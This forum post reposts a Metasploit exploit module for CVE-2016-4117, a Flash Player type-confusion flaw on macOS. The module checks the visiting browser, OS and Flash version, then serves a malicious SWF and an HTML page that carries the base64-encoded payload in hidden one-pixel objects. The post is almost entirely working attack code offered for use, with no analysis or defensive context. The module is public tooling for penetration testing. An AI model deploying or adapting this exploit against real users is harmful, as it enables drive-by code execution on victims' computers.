Exploit Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)

Exploiter · 21 Дек 2022

Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)

Код:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
      'Description'         => %q(
       This module exploits a type confusion on Adobe Flash Player, which was
       originally found being successfully exploited in the wild. This module
       has been tested successfully on:
         macOS Sierra 10.12.3,
         Safari and Adobe Flash Player 21.0.0.182,
         Firefox and Adobe Flash Player 21.0.0.182.
      ),
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Genwei Jiang', # FireEye original blog details on the vulnerability
          'bcook-r7'      # Imported Metasploit module
        ],
      'References'          =>
        [
          ['CVE', '2016-4117'],
          ['BID', '90505'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],
          ['URL', 'http://www.securitytracker.com/id/1035826'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => ['osx'],
      'BrowserRequirements' =>
        {
          source: /script|headers/i,
          os_name: lambda do |os|
            os =~ OperatingSystems::Match::MAC_OSX
          end,
          ua_name: lambda do |ua|
            case target.name
            when 'Mac OS X'
              return true if ua == Msf::HttpClients::SAFARI
              return true if ua == Msf::HttpClients::FF
            end

            false
          end,
          flash: lambda do |ver|
            case target.name
            when 'Mac OS X'
              return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
            end

            false
          end
        },
      'Targets'             =>
        [
          [
            'Mac OS X', {
              'Platform' => 'osx',
              'Arch' => ARCH_X64
            }
          ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Apr 27 2016',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf

    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri.end_with? 'swf'
      print_status('Sending SWF...')
      send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(3..7)}.swf"
    target_payload = get_payload(cli, target_info)
    b64_payload = Rex::Text.encode_base64(target_payload)

    if target.name.include? 'osx'
      platform_id = 'osx'
    end
    html_template = %(<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
    </object>
    </body>
    </html>
    )

    return html_template, binding
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
    File.binread(path)
  end
end

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Exploit Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)

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